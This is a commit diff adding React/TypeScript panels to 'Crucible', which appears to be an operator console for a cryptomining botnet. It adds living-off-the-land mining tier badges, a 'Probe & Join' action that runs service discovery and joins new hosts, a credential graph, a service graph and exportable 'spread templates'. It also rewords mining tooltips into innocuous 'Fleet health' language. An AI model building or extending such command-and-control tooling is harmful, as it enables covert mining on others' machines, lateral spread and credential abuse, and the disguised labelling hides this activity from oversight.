Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -11,10 +11,14 @@ import {
|
||||
} from '../../help/crucibleOps';
|
||||
import { desktopPathHint, pushFileToAgentDesktop } from '../../help/desktopPush';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import LotlTierBadge from './LotlTierBadge';
|
||||
import CrucibleCollapsibleSection from './CrucibleCollapsibleSection';
|
||||
import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
|
||||
import FileManager from './FileManager';
|
||||
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
|
||||
import SpreadTemplateExportPanel from './SpreadTemplateExportPanel';
|
||||
import CredentialGraphTable from './CredentialGraphTable';
|
||||
import ServiceGraphSummary from './ServiceGraphSummary';
|
||||
import './ProtocolTunnelPanel.css';
|
||||
|
||||
interface FmCommandResult {
|
||||
@@ -297,15 +301,24 @@ export default function CrucibleExpandedOps({
|
||||
return (
|
||||
<div className={panelClass}>
|
||||
<CrucibleCollapsibleSection label="Mining" className="cop-mining" helpField="crucible_mining_ops" defaultOpen>
|
||||
{singleSelectedAgent?.lotl_tier && (
|
||||
<div style={{ width: '100%', marginBottom: '0.35rem' }}>
|
||||
<LotlTierBadge
|
||||
tier={singleSelectedAgent.lotl_tier}
|
||||
attempts={singleSelectedAgent.lotl_attempts}
|
||||
variant="inline"
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
<button
|
||||
type="button"
|
||||
className="button crucible-op-btn"
|
||||
disabled={!hasSelection}
|
||||
title="Resume hashing on selected online nodes"
|
||||
title="Fleet health: restore hashing workload on selected online nodes"
|
||||
onClick={() => {
|
||||
const ids = targets.map((a) => a.id);
|
||||
if (ids.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
|
||||
api.sendBulkCommand(ids, 'resume').then((r) => onEcho(`resume → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] resume: ${err}`, false));
|
||||
api.sendBulkCommand(ids, 'resume').then((r) => onEcho(`${r.label ?? 'Power restore'} → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] resume: ${err}`, false));
|
||||
}}
|
||||
>
|
||||
Resume
|
||||
@@ -314,11 +327,11 @@ export default function CrucibleExpandedOps({
|
||||
type="button"
|
||||
className="button crucible-op-btn"
|
||||
disabled={!hasSelection}
|
||||
title="Pause hashing without disconnecting the agent"
|
||||
title="Fleet health: power down hashing without disconnecting the agent"
|
||||
onClick={() => {
|
||||
const ids = targets.map((a) => a.id);
|
||||
if (ids.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
|
||||
api.sendBulkCommand(ids, 'pause').then((r) => onEcho(`pause → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] pause: ${err}`, false));
|
||||
api.sendBulkCommand(ids, 'pause').then((r) => onEcho(`${r.label ?? 'Power down'} → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] pause: ${err}`, false));
|
||||
}}
|
||||
>
|
||||
Pause
|
||||
@@ -786,6 +799,30 @@ export default function CrucibleExpandedOps({
|
||||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('credential_vault_list')} title={aggTitle('credential_vault_list') || 'Credential vault names only (no secrets)'} onClick={() => aggBulk('credential_vault_list')}>
|
||||
Credential Names
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
className="button crucible-op-btn btn-cyan"
|
||||
disabled={!hasSelection || targets.length === 0}
|
||||
title="Service discovery → server deploy plan → matching LOTL join lane"
|
||||
onClick={() => bulkDispatch('discover_and_join')}
|
||||
>
|
||||
Probe & Join
|
||||
</button>
|
||||
</CrucibleCollapsibleSection>
|
||||
|
||||
<CrucibleCollapsibleSection label="Credential Graph" className="cop-spread-graph" helpField="crucible_section_cred_graph" defaultOpen>
|
||||
<CredentialGraphTable />
|
||||
</CrucibleCollapsibleSection>
|
||||
|
||||
<CrucibleCollapsibleSection label="Service Graph" className="cop-spread-graph" helpField="crucible_section_service_graph" defaultOpen={false}>
|
||||
<ServiceGraphSummary
|
||||
agentId={singleSelectedAgent?.id}
|
||||
agentIp={singleSelectedAgent?.ip}
|
||||
/>
|
||||
</CrucibleCollapsibleSection>
|
||||
|
||||
<CrucibleCollapsibleSection label="Spread Templates" className="cop-spread-templates" helpField="crucible_section_spread_templates" defaultOpen={false}>
|
||||
<SpreadTemplateExportPanel serverBase={typeof window !== 'undefined' ? window.location.origin : ''} />
|
||||
</CrucibleCollapsibleSection>
|
||||
|
||||
<CrucibleCollapsibleSection label="◈ SUPP Seek Mode" className="cop-seek crucible-seek-group" helpField="crucible_section_seek">
|
||||
|
||||
Reference in New Issue
Block a user